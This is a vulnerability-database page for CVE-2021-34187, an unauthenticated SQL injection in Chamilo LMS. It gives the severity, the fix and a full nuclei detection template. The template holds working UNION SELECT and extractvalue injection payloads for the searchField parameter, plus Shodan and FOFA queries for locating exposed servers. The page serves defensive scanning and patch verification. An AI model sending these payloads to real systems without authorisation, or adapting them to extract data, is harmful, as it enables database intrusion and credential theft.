Browse / CVEs / CVE-2021-34187
CVE-2021-34187· chamilo / chamilo· CWE-89
Chamilo model.ajax.php - SQL Injection
criticalseverity
9.8CVSS score
16.2%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.
Impact
Unauthenticated attackers can exploit SQL injection via multiple parameters to extract database contents, potentially exposing all Chamilo LMS data including user credentials.
Fix
Upgrade to Chamilo version 1.11.15 or later.
How to confirm it
Send: GET {{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20A…
Positive when: contains "{{md5({{num}})}}" AND contains in content_type "application/json"Run it with nuclei: nuclei -id CVE-2021-34187 -u <target>
The full check
id: CVE-2021-34187
info:
name: Chamilo model.ajax.php - SQL Injection
author: DhiyaneshDK
severity: critical
description: |
main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.
impact: |
Unauthenticated attackers can exploit SQL injection via multiple parameters to extract database contents, potentially exposing all Chamilo LMS data including user credentials.
remediation: |
Upgrade to Chamilo version 1.11.15 or later.
reference:
- https://murat.one/?p=118
- https://nvd.nist.gov/vuln/detail/CVE-2021-34187
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-34187
cwe-id: CWE-89
epss-score: 0.16181
epss-percentile: 0.96963
cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
metadata:
vendor: chamilo
product: chamilo
shodan-query: "X-Powered-By: Chamilo"
fofa-query: 'banner="X-Powered-By: Chamilo"'
verified: true
max-request: 1
tags: cve,cve2021,chamilo,sqli,vkev,vuln
variables:
num: "999999999"
http:
- method: GET
path:
- '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+md5({{num}}))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
- '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(md5({{num}})))))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
- '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+md5({{num}}))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
- '{{BaseURL}}/main/inc/ajax/model.ajax.php?a=get_sessions_tracking&work_id=1&rows=0&page=1&sidx=0&sord=test&_search=1&searchField=1))and(1)%20UNION%20ALL%20SELECT%20CONCAT((select+extractvalue(0x0a,concat(0x0a,(md5({{num}})))))),NULL,NULL,NULL--%20-)and((1=&searchOper=ni&searchString=testx&filters2={}&from_course_session=0'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5({{num}})}}'
- type: word
part: content_type
words:
- 'application/json'References
Use this check only on systems you are authorised to test. Where the data comes from